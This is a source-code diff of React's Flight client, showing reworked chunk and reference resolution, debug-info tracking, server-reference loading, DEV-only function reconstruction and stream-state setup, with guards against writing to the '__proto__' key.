+      // This promise is coming from us and should have initilialized by now.
+      const boundArgs: Array<any> = (metaData.bound: any).value.slice(0);
+      boundArgs.unshift(null); // this
+      resolvedValue = resolvedValue.bind.apply(resolvedValue, boundArgs);
+    }
+
+    registerBoundServerReference(
+      resolvedValue,
+      metaData.id,
+      metaData.bound,
+      response._encodeFormAction,
+    );
+
+    if (key !== __PROTO__) {
+      parentObject[key] = resolvedValue;
     }
-    parentObject[key] = map(response, value);
 
     // If this is the root object for a model reference, where `handler.value`
     // is a stale `null`, the resolved value can be used directly.
     if (key === '' && handler.value === null) {
-      handler.value = parentObject[key];
+      handler.value = resolvedValue;
+    }
+
+    // If the parent object is an unparsed React element tuple, we also need to
+    // update the props and owner of the parsed element object (i.e.
+    // handler.value).
+    if (
+      parentObject[0] === REACT_ELEMENT_TYPE &&
+      typeof handler.value === 'object' &&
+      handler.value !== null &&
+      handler.value.$$typeof === REACT_ELEMENT_TYPE
+    ) {
+      const element: any = handler.value;
+      switch (key) {
+        case '3':
+          element.props = resolvedValue;
+          break;
+        case '4':
+          if (__DEV__) {
+            element._owner = resolvedValue;
+          }
+          break;
+      }
     }
 
     handler.deps--;
@@ -874,8 +1929,13 @@ function waitForReference<T>(
       const initializedChunk: InitializedChunk<T> = (chunk: any);
       initializedChunk.status = INITIALIZED;
       initializedChunk.value = handler.value;
+      initializedChunk.reason = null;
       if (resolveListeners !== null) {
-        wakeChunk(resolveListeners, handler.value);
+        wakeChunk(response, resolveListeners, handler.value, initializedChunk);
+      } else {
+        if (__DEV__) {
+          processChunkDebugInfo(response, initializedChunk, handler.value);
+        }
       }
     }
   }
@@ -889,7 +1949,8 @@ function waitForReference<T>(
     }
     const blockedValue = handler.value;
     handler.errored = true;
-    handler.value = error;
+    handler.value = null;
+    handler.reason = error;
     const chunk = handler.chunk;
     if (chunk === null || chunk.status !== BLOCKED) {
       return;
@@ -912,53 +1973,66 @@ function waitForReference<T>(
           name: getComponentNameFromType(element.type) || '',
           owner: element._owner,
         };
-        if (enableOwnerStacks) {
-          // $FlowFixMe[cannot-write]
-          erroredComponent.stack = element._debugStack;
+        // $FlowFixMe[cannot-write]
+        erroredComponent.debugStack = element._debugStack;
+        if (supportsCreateTask) {
           // $FlowFixMe[cannot-write]
-          erroredComponent.task = element._debugTask;
+          erroredComponent.debugTask = element._debugTask;
         }
-        const chunkDebugInfo: ReactDebugInfo =
-          chunk._debugInfo || (chunk._debugInfo = []);
-        chunkDebugInfo.push(erroredComponent);
+        chunk._debugInfo.push(erroredComponent);
       }
     }
 
-    triggerErrorOnChunk(chunk, error);
+    triggerErrorOnChunk(response, chunk, error);
   }
 
-  referencedChunk.then(fulfill, reject);
+  promise.then(fulfill, reject);
 
   // Return a place holder value for now.
   return (null: any);
 }
 
-function createServerReferenceProxy<A: Iterable<any>, T>(
-  response: Response,
-  metaData: {id: any, bound: null | Thenable<Array<any>>},
-): (...A) => Promise<T> {
-  const callServer = response._callServer;
-  const proxy = function (): Promise<T> {
-    // $FlowFixMe[method-unbinding]
-    const args = Array.prototype.slice.call(arguments);
-    const p = metaData.bound;
-    if (!p) {
-      return callServer(metaData.id, args);
-    }
-    if (p.status === INITIALIZED) {
-      const bound = p.value;
-      return callServer(metaData.id, bound.concat(args));
-    }
-    // Since this is a fake Promise whose .then doesn't chain, we have to wrap it.
-    // TODO: Remove the wrapper once that's fixed.
-    return ((Promise.resolve(p): any): Promise<Array<any>>).then(
-      function (bound) {
-        return callServer(metaData.id, bound.concat(args));
-      },
-    );
-  };
-  registerServerReference(proxy, metaData, response._encodeFormAction);
-  return proxy;
+function resolveLazy(value: any): mixed {
+  while (
+    typeof value === 'object' &&
+    value !== null &&
+    value.$$typeof === REACT_LAZY_TYPE
+  ) {
+    const payload: SomeChunk<any> = value._payload;
+    if (payload.status === INITIALIZED) {
+      value = payload.value;
+      continue;
+    }
+    break;
+  }
+
+  return value;
+}
+
+function transferReferencedDebugInfo(
+  parentChunk: null | SomeChunk<any>,
+  referencedChunk: SomeChunk<any>,
+): void {
+  if (__DEV__) {
+    // We add the debug info to the initializing chunk since the resolution of
+    // that promise is also blocked by the referenced debug info. By adding it
+    // to both we can track it even if the array/element/lazy is extracted, or
+    // if the root is rendered as is.
+    if (parentChunk !== null) {
+      const referencedDebugInfo = referencedChunk._debugInfo;
+      const parentDebugInfo = parentChunk._debugInfo;
+      for (let i = 0; i < referencedDebugInfo.length; ++i) {
+        const debugInfoEntry = referencedDebugInfo[i];
+        if (debugInfoEntry.name != null) {
+          (debugInfoEntry: ReactComponentInfo);
+          // We're not transferring Component info since we use Component info
+          // in Debug info to fill in gaps between Fibers for the parent stack.
+        } else {
+          parentDebugInfo.push(debugInfoEntry);
+        }
+      }
+    }
+  }
 }
 
 function getOutlinedModel<T>(
@@ -966,11 +2040,16 @@ function getOutlinedModel<T>(
   reference: string,
   parentObject: Object,
   key: string,
-  map: (response: Response, model: any) => T,
+  map: (response: Response, model: any, parentObject: Object, key: string) => T,
 ): T {
   const path = reference.split(':');
   const id = parseInt(path[0], 16);
   const chunk = getChunk(response, id);
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    if (initializingChunk !== null && isArray(initializingChunk._children)) {
+      initializingChunk._children.push(chunk);
+    }
+  }
   switch (chunk.status) {
     case RESOLVED_MODEL:
       initializeModelChunk(chunk);
@@ -984,50 +2063,166 @@ function getOutlinedModel<T>(
     case INITIALIZED:
       let value = chunk.value;
       for (let i = 1; i < path.length; i++) {
+        while (
+          typeof value === 'object' &&
+          value !== null &&
+          value.$$typeof === REACT_LAZY_TYPE
+        ) {
+          const referencedChunk: SomeChunk<any> = value._payload;
+          switch (referencedChunk.status) {
+            case RESOLVED_MODEL:
+              initializeModelChunk(referencedChunk);
+              break;
+            case RESOLVED_MODULE:
+              initializeModuleChunk(referencedChunk);
+              break;
+          }
+          switch (referencedChunk.status) {
+            case INITIALIZED: {
+              value = referencedChunk.value;
+              break;
+            }
+            case BLOCKED:
+            case PENDING: {
+              return waitForReference(
+                referencedChunk,
+                parentObject,
+                key,
+                response,
+                map,
+                path.slice(i - 1),
+                isInitializingDebugInfo,
+              );
+            }
+            case HALTED: {
+              // Add a dependency that will never resolve.
+              // TODO: Mark downstreams as halted too.
+              let handler: InitializationHandler;
+              if (initializingHandler) {
+                handler = initializingHandler;
+                handler.deps++;
+              } else {
+                handler = initializingHandler = {
+                  parent: null,
+                  chunk: null,
+                  value: null,
+                  reason: null,
+                  deps: 1,
+                  errored: false,
+                };
+              }
+              return (null: any);
+            }
+            default: {
+              // This is an error. Instead of erroring directly, we're going to encode this on
+              // an initialization handler so that we can catch it at the nearest Element.
+              if (initializingHandler) {
+                initializingHandler.errored = true;
+                initializingHandler.value = null;
+                initializingHandler.reason = referencedChunk.reason;
+              } else {
+                initializingHandler = {
+                  parent: null,
+                  chunk: null,
+                  value: null,
+                  reason: referencedChunk.reason,
+                  deps: 0,
+                  errored: true,
+                };
+              }
+              return (null: any);
+            }
+          }
+        }
         value = value[path[i]];
       }
-      const chunkValue = map(response, value);
-      if (__DEV__ && chunk._debugInfo) {
-        // If we have a direct reference to an object that was rendered by a synchronous
-        // server component, it might have some debug info about how it was rendered.
-        // We forward this to the underlying object. This might be a React Element or
-        // an Array fragment.
-        // If this was a string / number return value we lose the debug info. We choose
-        // that tradeoff to allow sync server components to return plain values and not
-        // use them as React Nodes necessarily. We could otherwise wrap them in a Lazy.
+
+      while (
+        typeof value === 'object' &&
+        value !== null &&
+        value.$$typeof === REACT_LAZY_TYPE
+      ) {
+        // If what we're referencing is a Lazy it must be because we inserted one as a virtual node
+        // while it was blocked by other data. If it's no longer blocked, we can unwrap it.
+        const referencedChunk: SomeChunk<any> = value._payload;
+        switch (referencedChunk.status) {
+          case RESOLVED_MODEL:
+            initializeModelChunk(referencedChunk);
+            break;
+          case RESOLVED_MODULE:
+            initializeModuleChunk(referencedChunk);
+            break;
+        }
+        switch (referencedChunk.status) {
+          case INITIALIZED: {
+            value = referencedChunk.value;
+            continue;
+          }
+        }
+        break;
+      }
+
+      const chunkValue = map(response, value, parentObject, key);
+      if (__DEV__) {
         if (
-          typeof chunkValue === 'object' &&
-          chunkValue !== null &&
-          (isArray(chunkValue) ||
-            typeof chunkValue[ASYNC_ITERATOR] === 'function' ||
-            chunkValue.$$typeof === REACT_ELEMENT_TYPE) &&
-          !chunkValue._debugInfo
+          parentObject[0] === REACT_ELEMENT_TYPE &&
+          (key === '4' || key === '5')
         ) {
-          // We should maybe use a unique symbol for arrays but this is a React owned array.
-          // $FlowFixMe[prop-missing]: This should be added to elements.
-          Object.defineProperty((chunkValue: any), '_debugInfo', {
-            configurable: false,
-            enumerable: false,
-            writable: true,
-            value: chunk._debugInfo,
-          });
+          // If we're resolving the "owner" or "stack" slot of an Element array,
+          // we don't call transferReferencedDebugInfo because this reference is
+          // to a debug chunk.
+        } else if (isInitializingDebugInfo) {
+          // If we're resolving references as part of debug info resolution, we
+          // don't call transferReferencedDebugInfo because these references are
+          // to debug chunks.
+        } else {
+          transferReferencedDebugInfo(initializingChunk, chunk);
         }
       }
       return chunkValue;
     case PENDING:
     case BLOCKED:
-      return waitForReference(chunk, parentObject, key, response, map, path);
+      return waitForReference(
+        chunk,
+        parentObject,
+        key,
+        response,
+        map,
+        path,
+        isInitializingDebugInfo,
+      );
+    case HALTED: {
+      // Add a dependency that will never resolve.
+      // TODO: Mark downstreams as halted too.
+      let handler: InitializationHandler;
+      if (initializingHandler) {
+        handler = initializingHandler;
+        handler.deps++;
+      } else {
+        handler = initializingHandler = {
+          parent: null,
+          chunk: null,
+          value: null,
+          reason: null,
+          deps: 1,
+          errored: false,
+        };
+      }
+      return (null: any);
+    }
     default:
       // This is an error. Instead of erroring directly, we're going to encode this on
       // an initialization handler so that we can catch it at the nearest Element.
       if (initializingHandler) {
         initializingHandler.errored = true;
-        initializingHandler.value = chunk.reason;
+        initializingHandler.value = null;
+        initializingHandler.reason = chunk.reason;
       } else {
         initializingHandler = {
           parent: null,
           chunk: null,
-          value: chunk.reason,
+          value: null,
+          reason: chunk.reason,
           deps: 0,
           errored: true,
         };
@@ -1063,6 +2258,58 @@ function createFormData(
   return formData;
 }
 
+function applyConstructor(
+  response: Response,
+  model: Function,
+  parentObject: Object,
+  key: string,
+): void {
+  Object.setPrototypeOf(parentObject, model.prototype);
+  // Delete the property. It was just a placeholder.
+  return undefined;
+}
+
+function defineLazyGetter<T>(
+  response: Response,
+  chunk: SomeChunk<T>,
+  parentObject: Object,
+  key: string,
+): any {
+  // We don't immediately initialize it even if it's resolved.
+  // Instead, we wait for the getter to get accessed.
+  if (key !== __PROTO__) {
+    Object.defineProperty(parentObject, key, {
+      get: function () {
+        if (chunk.status === RESOLVED_MODEL) {
+          // If it was now resolved, then we initialize it. This may then discover
+          // a new set of lazy references that are then asked for eagerly in case
+          // we get that deep.
+          initializeModelChunk(chunk);
+        }
+        switch (chunk.status) {
+          case INITIALIZED: {
+            return chunk.value;
+          }
+          case ERRORED:
+            throw chunk.reason;
+        }
+        // Otherwise, we didn't have enough time to load the object before it was
+        // accessed or the connection closed. So we just log that it was omitted.
+        // TODO: We should ideally throw here to indicate a difference.
+        return OMITTED_PROP_ERROR;
+      },
+      // no-op: the walk function may try to reassign this property after
+      // parseModelString returns. With the JSON.parse reviver, the engine's
+      // internal CreateDataProperty silently failed. We use a no-op setter
+      // to match that behavior in strict mode.
+      set: function () {},
+      enumerable: true,
+      configurable: false,
+    });
+  }
+  return null;
+}
+
 function extractIterator(response: Response, model: Array<any>): Iterator<any> {
   // $FlowFixMe[incompatible-use]: This uses raw Symbols because we're extracting from a native array.
   return model[Symbol.iterator]();
@@ -1072,6 +2319,44 @@ function createModel(response: Response, model: any): any {
   return model;
 }
 
+const mightHaveStaticConstructor = /\bclass\b.*\bstatic\b/;
+
+function getInferredFunctionApproximate(code: string): () => void {
+  let slicedCode;
+  if (code.startsWith('Object.defineProperty(')) {
+    slicedCode = code.slice('Object.defineProperty('.length);
+  } else if (code.startsWith('(')) {
+    slicedCode = code.slice(1);
+  } else {
+    slicedCode = code;
+  }
+  if (slicedCode.startsWith('async function')) {
+    const idx = slicedCode.indexOf('(', 14);
+    if (idx !== -1) {
+      const name = slicedCode.slice(14, idx).trim();
+      // eslint-disable-next-line no-eval
+      return (0, eval)('({' + JSON.stringify(name) + ':async function(){}})')[
+        name
+      ];
+    }
+  } else if (slicedCode.startsWith('function')) {
+    const idx = slicedCode.indexOf('(', 8);
+    if (idx !== -1) {
+      const name = slicedCode.slice(8, idx).trim();
+      // eslint-disable-next-line no-eval
+      return (0, eval)('({' + JSON.stringify(name) + ':function(){}})')[name];
+    }
+  } else if (slicedCode.startsWith('class')) {
+    const idx = slicedCode.indexOf('{', 5);
+    if (idx !== -1) {
+      const name = slicedCode.slice(5, idx).trim();
+      // eslint-disable-next-line no-eval
+      return (0, eval)('({' + JSON.stringify(name) + ':class{}})')[name];
+    }
+  }
+  return function () {};
+}
+
 function parseModelString(
   response: Response,
   parentObject: Object,
@@ -1090,6 +2375,7 @@ function parseModelString(
           parent: initializingHandler,
           chunk: null,
           value: null,
+          reason: null,
           deps: 0,
           errored: false,
         };
@@ -1105,25 +2391,37 @@ function parseModelString(
         // Lazy node
         const id = parseInt(value.slice(2), 16);
         const chunk = getChunk(response, id);
+        if (enableProfilerTimer && enableComponentPerformanceTrack) {
+          if (
+            initializingChunk !== null &&
+            isArray(initializingChunk._children)
+          ) {
+            initializingChunk._children.push(chunk);
+          }
+        }
         // We create a React.lazy wrapper around any lazy values.
         // When passed into React, we'll know how to suspend on this.
-        return createLazyChunkWrapper(chunk);
+        return createLazyChunkWrapper(chunk, 0);
       }
       case '@': {
         // Promise
-        if (value.length === 2) {
-          // Infinite promise that never resolves.
-          return new Promise(() => {});
-        }
         const id = parseInt(value.slice(2), 16);
         const chunk = getChunk(response, id);
+        if (enableProfilerTimer && enableComponentPerformanceTrack) {
+          if (
+            initializingChunk !== null &&
+            isArray(initializingChunk._children)
+          ) {
+            initializingChunk._children.push(chunk);
+          }
+        }
         return chunk;
       }
       case 'S': {
         // Symbol
         return Symbol.for(value.slice(2));
       }
-      case 'F': {
+      case 'h': {
         // Server Reference
         const ref = value.slice(2);
         return getOutlinedModel(
@@ -1131,7 +2429,7 @@ function parseModelString(
           ref,
           parentObject,
           key,
-          createServerReferenceProxy,
+          loadServerReference,
         );
       }
       case 'T': {
@@ -1158,11 +2456,8 @@ function parseModelString(
       }
       case 'B': {
         // Blob
-        if (enableBinaryFlight) {
-          const ref = value.slice(2);
-          return getOutlinedModel(response, ref, parentObject, key, createBlob);
-        }
-        return undefined;
+        const ref = value.slice(2);
+        return getOutlinedModel(response, ref, parentObject, key, createBlob);
       }
       case 'K': {
         // FormData
@@ -1175,6 +2470,21 @@ function parseModelString(
           createFormData,
         );
       }
+      case 'Z': {
+        // Error
+        if (__DEV__) {
+          const ref = value.slice(2);
+          return getOutlinedModel(
+            response,
+            ref,
+            parentObject,
+            key,
+            resolveErrorDev,
+          );
+        } else {
+          return resolveErrorProd(response);
+        }
+      }
       case 'i': {
         // Iterator
         const ref = value.slice(2);
@@ -1215,18 +2525,114 @@ function parseModelString(
         // BigInt
         return BigInt(value.slice(2));
       }
+      case 'P': {
+        if (__DEV__) {
+          // In DEV mode we allow debug objects to specify themselves as instances of
+          // another constructor.
+          const ref = value.slice(2);
+          return getOutlinedModel(
+            response,
+            ref,
+            parentObject,
+            key,
+            applyConstructor,
+          );
+        }
+        //Fallthrough
+      }
       case 'E': {
         if (__DEV__) {
           // In DEV mode we allow indirect eval to produce functions for logging.
           // This should not compile to eval() because then it has local scope access.
+          const code = value.slice(2);
           try {
-            // eslint-disable-next-line no-eval
-            return (0, eval)(value.slice(2));
+            // If this might be a class constructor with a static initializer or
+            // static constructor then don't eval it. It might cause unexpected
+            // side-effects. Instead, fallback to parsing out the function type
+            // and name.
+            if (!mightHaveStaticConstructor.test(code)) {
+              // eslint-disable-next-line no-eval
+              return (0, eval)(code);
+            }
           } catch (x) {
-            // We currently use this to express functions so we fail parsing it,
-            // let's just return a blank function as a place holder.
-            return function () {};
+            // Fallthrough to fallback case.
+          }
+          // We currently use this to express functions so we fail parsing it,
+          // let's just return a blank function as a place holder.
+          let fn;
+          try {
+            fn = getInferredFunctionApproximate(code);
+            if (code.startsWith('Object.defineProperty(')) {
+              const DESCRIPTOR = ',"name",{value:"';
+              const idx = code.lastIndexOf(DESCRIPTOR);
+              if (idx !== -1) {
+                const name = JSON.parse(
+                  code.slice(idx + DESCRIPTOR.length - 1, code.length - 2),
+                );
+                // $FlowFixMe[cannot-write]
+                Object.defineProperty(fn, 'name', {value: name});
+              }
+            }
+          } catch (_) {
+            fn = function () {};
           }
+          return fn;
+        }
+        // Fallthrough
+      }
+      case 'Y': {
+        if (__DEV__) {
+          if (value.length > 2) {
+            const debugChannelCallback =
+              response._debugChannel && response._debugChannel.callback;
+            if (debugChannelCallback) {
+              if (value[2] === '@') {
+                // This is a deferred Promise.
+                const ref = value.slice(3); // We assume this doesn't have a path just id.
+                const id = parseInt(ref, 16);
+                if (!response._chunks.has(id)) {
+                  // We haven't seen this id before. Query the server to start sending it.
+                  debugChannelCallback('P:' + ref);
+                }
+                // Start waiting. This now creates a pending chunk if it doesn't already exist.
+                // This is the actual Promise we're waiting for.
+                return getChunk(response, id);
+              }
+              const ref = value.slice(2); // We assume this doesn't have a path just id.
+              const id = parseInt(ref, 16);
+              if (!response._chunks.has(id)) {
+                // We haven't seen this id before. Query the server to start sending it.
+                debugChannelCallback('Q:' + ref);
+              }
+              // Start waiting. This now creates a pending chunk if it doesn't already exist.
+              const chunk = getChunk(response, id);
+              if (chunk.status === INITIALIZED) {
+                // We already loaded this before. We can just use the real value.
+                return chunk.value;
+              }
+              return defineLazyGetter(response, chunk, parentObject, key);
+            }
+          }
+
+          // In DEV mode we encode omitted objects in logs as a getter that throws
+          // so that when you try to access it on the client, you know why that
+          // happened.
+          if (key !== __PROTO__) {
+            Object.defineProperty(parentObject, key, {
+              get: function () {
+                // TODO: We should ideally throw here to indicate a difference.
+                return OMITTED_PROP_ERROR;
+              },
+              // no-op: the walk function may try to reassign this property
+              // after parseModelString returns. With the JSON.parse reviver,
+              // the engine's internal CreateDataProperty silently failed.
+              // We use a no-op setter to match that behavior in strict mode.
+              set: function () {},
+              enumerable: true,
+              configurable: false,
+            });
+          }
+          return null;
         }
         // Fallthrough
       }
@@ -1255,8 +2661,8 @@ function parseModelTuple(
       tuple[2],
       tuple[3],
       __DEV__ ? (tuple: any)[4] : null,
-      __DEV__ && enableOwnerStacks ? (tuple: any)[5] : null,
-      __DEV__ && enableOwnerStacks ? (tuple: any)[6] : 0,
+      __DEV__ ? (tuple: any)[5] : null,
+      __DEV__ ? (tuple: any)[6] : 0,
     );
   }
   return value;
@@ -1269,121 +2675,406 @@ function missingCall() {
   );
 }
 
+function markIOStarted(this: Response) {
+  this._debugIOStarted = true;
+}
+
 function ResponseInstance(
   this: $FlowFixMe,
-  bundlerConfig: SSRModuleMap,
+  bundlerConfig: ServerConsumerModuleMap,
+  serverReferenceConfig: null | ServerManifest,
   moduleLoading: ModuleLoading,
   callServer: void | CallServerCallback,
   encodeFormAction: void | EncodeFormActionCallback,
   nonce: void | string,
   temporaryReferences: void | TemporaryReferenceSet,
-  findSourceMapURL: void | FindSourceMapURLCallback,
+  allowPartialStream: boolean,
+  findSourceMapURL: void | FindSourceMapURLCallback, // DEV-only
+  replayConsole: boolean, // DEV-only
+  environmentName: void | string, // DEV-only
+  debugStartTime: void | number, // DEV-only
+  debugEndTime: void | number, // DEV-only
+  debugChannel: void | DebugChannel, // DEV-only
 ) {
   const chunks: Map<number, SomeChunk<any>> = new Map();
   this._bundlerConfig = bundlerConfig;
+  this._serverReferenceConfig = serverReferenceConfig;
   this._moduleLoading = moduleLoading;
   this._callServer = callServer !== undefined ? callServer : missingCall;
   this._encodeFormAction = encodeFormAction;
   this._nonce = nonce;
   this._chunks = chunks;
   this._stringDecoder = createStringDecoder();
-  this._fromJSON = (null: any);
-  this._rowState = 0;
-  this._rowID = 0;
-  this._rowTag = 0;
-  this._rowLength = 0;
-  this._buffer = [];
+  this._closed = false;
+  this._closedReason = null;
+  this._allowPartialStream = allowPartialStream;
   this._tempRefs = temporaryReferences;
-  if (supportsCreateTask) {
-    // Any stacks that appear on the server need to be rooted somehow on the client
-    // so we create a root Task for this response which will be the root owner for any
-    // elements created by the server. We use the "use server" string to indicate that
-    // this is where we enter the server from the client.
-    // TODO: Make this string configurable.
-    this._debugRootTask = (console: any).createTask('"use server"');
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    this._timeOrigin = 0;
+    this._pendingInitialRender = null;
   }
   if (__DEV__) {
+    this._pendingChunks = 0;
+    this._weakResponse = {
+      weak: new WeakRef(this),
+      response: this,
+    };
+    // TODO: The Flight Client can be used in a Client Environment too and we should really support
+    // getting the owner there as well, but currently the owner of ReactComponentInfo is typed as only
+    // supporting other ReactComponentInfo as owners (and not Fiber or Fizz's ComponentStackNode).
+    // We need to update all the callsites consuming ReactComponentInfo owners to support those.
+    // In the meantime we only check ReactSharedInteralsServer since we know that in an RSC environment
+    // the only owners will be ReactComponentInfo.
+    const rootOwner: null | ReactComponentInfo =
+      ReactSharedInteralsServer === undefined ||
+      ReactSharedInteralsServer.A === null
+        ? null
+        : (ReactSharedInteralsServer.A.getOwner(): any);
+
+    this._debugRootOwner = rootOwner;
+    this._debugRootStack =
+      rootOwner !== null
+        ? // TODO: Consider passing the top frame in so we can avoid internals showing up.
+          new Error('react-stack-top-frame')
+        : null;
+
+    const rootEnv = environmentName === undefined ? 'Server' : environmentName;
+    if (supportsCreateTask) {
+      // Any stacks that appear on the server need to be rooted somehow on the client
+      // so we create a root Task for this response which will be the root owner for any
+      // elements created by the server. We use the "use server" string to indicate that
+      // this is where we enter the server from the client.
+      // TODO: Make this string configurable.
+      this._debugRootTask = (console: any).createTask(
+        '"use ' + rootEnv.toLowerCase() + '"',
+      );
+    }
+    if (enableAsyncDebugInfo) {
+      // Track the start of the fetch to the best of our knowledge.
+      // Note: createFromFetch allows this to be marked at the start of the fetch
+      // where as if you use createFromReadableStream from the body of the fetch
+      // then the start time is when the headers resolved.
+      this._debugStartTime =
+        debugStartTime == null ? performance.now() : debugStartTime;
+      this._debugIOStarted = false;
+      // We consider everything before the first setTimeout task to be cached data
+      // and is not considered I/O required to load the stream.
+      setTimeout(markIOStarted.bind(this), 0);
+    }
+    this._debugEndTime = debugEndTime == null ? null : debugEndTime;
     this._debugFindSourceMapURL = findSourceMapURL;
+    this._debugChannel = debugChannel;
+    this._blockedConsole = null;
+    this._replayConsole = replayConsole;
+    this._rootEnvironmentName = rootEnv;
+    if (debugChannel) {
+      if (debugChannelRegistry === null) {
+        // We can't safely clean things up later, so we immediately close the
+        // debug channel.
+        closeDebugChannel(debugChannel);
+        this._debugChannel = undefined;
+      } else {
+        // When a Response gets GC:ed because nobody is referring to any of the
+        // objects that lazily load from the Response anymore, then we can close
+        // the debug channel.
+        debugChannelRegistry.register(this, debugChannel, this);
+      }
+    }
+  }
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    // Since we don't know when recording of profiles will start and stop, we have to
+    // mark the order over and over again.
+    if (replayConsole) {
+      markAllTracksInOrder();
+    }
   }
-  // Don't inline this call because it causes closure to outline the call above.
-  this._fromJSON = createFromJSONCallback(this);
 }
 
 export function createResponse(
-  bundlerConfig: SSRModuleMap,
+  bundlerConfig: ServerConsumerModuleMap,
+  serverReferenceConfig: null | ServerManifest,
   moduleLoading: ModuleLoading,
   callServer: void | CallServerCallback,
   encodeFormAction: void | EncodeFormActionCallback,
   nonce: void | string,
   temporaryReferences: void | TemporaryReferenceSet,
-  findSourceMapURL: void | FindSourceMapURLCallback,
-): Response {
-  // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors
-  return new ResponseInstance(
-    bundlerConfig,
-    moduleLoading,
-    callServer,
-    encodeFormAction,
-    nonce,
-    temporaryReferences,
-    findSourceMapURL,
+  allowPartialStream: boolean,
+  findSourceMapURL: void | FindSourceMapURLCallback, // DEV-only
+  replayConsole: boolean, // DEV-only
+  environmentName: void | string, // DEV-only
+  debugStartTime: void | number, // DEV-only
+  debugEndTime: void | number, // DEV-only
+  debugChannel: void | DebugChannel, // DEV-only
+): WeakResponse {
+  if (__DEV__) {
+    // We use eval to create fake function stacks which includes Component stacks.
+    // A warning would be noise if you used Flight without Components and don't encounter
+    // errors. We're warning eagerly so that you configure your environment accordingly
+    // before you encounter an error.
+    checkEvalAvailabilityOnceDev();
+  }
+
+  return getWeakResponse(
+    // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors
+    new ResponseInstance(
+      bundlerConfig,
+      serverReferenceConfig,
+      moduleLoading,
+      callServer,
+      encodeFormAction,
+      nonce,
+      temporaryReferences,
+      allowPartialStream,
+      findSourceMapURL,
+      replayConsole,
+      environmentName,
+      debugStartTime,
+      debugEndTime,
+      debugChannel,
+    ),
   );
 }
 
+export type StreamState = {
+  _rowState: RowParserState,
+  _rowID: number, // parts of a row ID parsed so far
+  _rowTag: number, // 0 indicates that we're currently parsing the row ID
+  _rowLength: number, // remaining bytes in the row. 0 indicates that we're looking for a newline.
+  _buffer: Array<Uint8Array>, // chunks received so far as part of this row
+  _debugInfo: ReactIOInfo, // DEV-only
+  _debugTargetChunkSize: number, // DEV-only
+};
+
+export function createStreamState(
+  weakResponse: WeakResponse, // DEV-only
+  streamDebugValue: mixed, // DEV-only
+): StreamState {
+  const streamState: StreamState = (({
+    _rowState: 0,
+    _rowID: 0,
+    _rowTag: 0,
+    _rowLength: 0,
+    _buffer: [],
+  }: Omit<StreamState, '_debugInfo' | '_debugTargetChunkSize'>): any);
+  if (__DEV__ && enableAsyncDebugInfo) {
+    const response = unwrapWeakResponse(weakResponse);
+    // Create an entry for the I/O to load the stream itself.
+    const debugValuePromise = Promise.resolve(streamDebugValue);
+    (debugValuePromise: any).status = 'fulfilled';
+    (debugValuePromise: any).value = streamDebugValue;
+    streamState._debugInfo = {
+      name: 'rsc stream',
+      start: response._debugStartTime,
+      end: response._debugStartTime, // will be updated once we finish a chunk
+      byteSize: 0, // will be updated as we resolve a data chunk
+      value: debugValuePromise,
+      owner: response._debugRootOwner,
+      debugStack: response._debugRootStack,
+      debugTask: response._debugRootTask,
+    };
+    streamState._debugTargetChunkSize = MIN_CHUNK_SIZE;
+  }
+  return streamState;
+}
+
+// Depending on set up the chunks of a TLS connection can vary in size. However in practice it's often
+// at 64kb or even multiples of 64kb. It can also be smaller but in practice it also happens that 64kb
+// is around what you can download on fast 4G connection in 300ms which is what we throttle reveals at
+// anyway. The net effect is that in practice, you won't really reveal anything in smaller units than
+// 64kb if they're revealing at maximum speed in production. Therefore we group smaller chunks into
+// these larger chunks since in production that's more realistic.
+// TODO: If the stream is compressed, then you could fit much more in a single 300ms so maybe it should
+// actually be larger.
+const MIN_CHUNK_SIZE = 65536;
+
+function incrementChunkDebugInfo(
+  streamState: StreamState,
+  chunkLength: number,
+): void {
+  if (__DEV__ && enableAsyncDebugInfo) {
+    const debugInfo: ReactIOInfo = streamState._debugInfo;
+    const endTime = performance.now();
+    const previousEndTime = debugInfo.end;
+    const newByteLength = ((debugInfo.byteSize: any): number) + chunkLength;
+    if (
+      newByteLength > streamState._debugTargetChunkSize ||
+      endTime > previousEndTime + 10
+    ) {
+      // This new chunk would overshoot the chunk size so therefore we treat it as its own new chunk
+      // by cloning the old one. Similarly, if some time has passed we assume that it was actually
+      // due to the server being unable to flush chunks faster e.g. due to I/O so it would be a
+      // new chunk in production even if the buffer hasn't been reached.
+      streamState._debugInfo = {
+        name: debugInfo.name,
+        start: debugInfo.start,
+        end: endTime,
+        byteSize: newByteLength,
+        value: debugInfo.value,
+        owner: debugInfo.owner,
+        debugStack: debugInfo.debugStack,
+        debugTask: debugInfo.debugTask,
+      };
+      streamState._debugTargetChunkSize = newByteLength + MIN_CHUNK_SIZE;
+    } else {
+      // Otherwise we reuse the old chunk but update the end time and byteSize to the latest.
+      // $FlowFixMe[cannot-write]
+      debugInfo.end = endTime;
+      // $FlowFixMe[cannot-write]
+      debugInfo.byteSize = newByteLength;
+    }
+  }
+}
+
+function addAsyncInfo(chunk: SomeChunk<any>, asyncInfo: ReactAsyncInfo): void {
+  const value = resolveLazy(chunk.value);
+  if (
+    typeof value === 'object' &&
+    value !== null &&
+    (isArray(value) ||
+      typeof value[ASYNC_ITERATOR] === 'function' ||
+      value.$$typeof === REACT_ELEMENT_TYPE ||
+      value.$$typeof === REACT_LAZY_TYPE)
+  ) {
+    if (isArray(value._debugInfo)) {
+      // $FlowFixMe[method-unbinding]
+      value._debugInfo.push(asyncInfo);
+    } else if (!Object.isFrozen(value)) {
+      // TODO: Debug info is dropped for frozen elements. See the TODO in
+      // moveDebugInfoFromChunkToInnerValue.
+      Object.defineProperty((value: any), '_debugInfo', {
+        configurable: false,
+        enumerable: false,
+        writable: true,
+        value: [asyncInfo],
+      });
+    }
+  } else {
+    // $FlowFixMe[method-unbinding]
+    chunk._debugInfo.push(asyncInfo);
+  }
+}
+
+function resolveChunkDebugInfo(
+  response: Response,
+  streamState: StreamState,
+  chunk: SomeChunk<any>,
+): void {
+  if (__DEV__ && enableAsyncDebugInfo) {
+    // Only include stream information after a macrotask. Any chunk processed
+    // before that is considered cached data.
+    if (response._debugIOStarted) {
+      // Add the currently resolving chunk's debug info representing the stream
+      // to the Promise that was waiting on the stream, or its underlying value.
+      const asyncInfo: ReactAsyncInfo = {awaited: streamState._debugInfo};
